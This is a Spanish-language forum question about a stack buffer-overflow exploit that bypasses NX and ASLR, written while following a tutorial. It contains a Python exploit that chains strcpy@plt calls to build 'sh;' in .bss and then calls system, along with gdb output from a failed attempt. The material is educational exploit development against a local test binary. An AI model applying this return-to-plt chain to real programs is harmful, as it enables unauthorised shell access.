Tengo un problema, mientras hago NX + ASLR bypass. Realizo este tutorial paso a paso .
Todo va bien, he preparado mi exploit, solo con otra dirección y algunas pequeñas modificaciones:
#!/usr/bin/python
from struct import pack
from os import system
junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x8048310)
ppr = pack("<L", 0x080484ee) #pop pop ret
p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804a024) #bss
p += pack("<L", 0x08048162) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804a025) #bss+1
p += pack("<L", 0x080480d8) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804a026) #bss+2
p += pack("<L", 0x0804852f) # ';'
p += pack("<L", 0x08048320) #system@plt
p += "AAAA"
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")
system("/tmp/a.out \""+p+"\"")
Si lo ejecuto, no pasa nada. Pero si modifico el pasaje con la dirección de "system @ plt" con la dirección del sistema de libc obtengo un error de segmentación.
p += pack("<L", 0xb7e4e104) #system from libc
p += "J" * 8 # sub esp,0xc
p += pack("<L", 0xdeadbeef) # exit
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")
system("/tmp/a.out \""+p+"\"")
./exploit.py y .... "Error de segmentación". Permití que los volcados de datos comprobaran lo que sucedió y encontré esto:
Señal recibida programa SIGSEGV, fallo de segmentación. 0x0804a024 en completado ()
Esta dirección contiene:
(gdb) x / s 0x0804a024
0x804a024: "sh; ("
" sh; (" hm ...? Me gustaría hacer algunas preguntas.
- ¿Esa es la razón ' (', por la que tengo un error de segmentación en lugar de shell?
- ¿Cómo puedo eliminarlo / arreglarlo? Probé cosas diferentes, pero sin resultados.
- ¿Por qué no funciona el uso de la dirección de "system @ plt"? Más precisamente, no hace nada. Sin embargo, en el tutorial de SpiderLabs, ¿todo funciona?
Sé que hay más formas de omitir ASLR + NX, pero siento curiosidad por lo que está mal.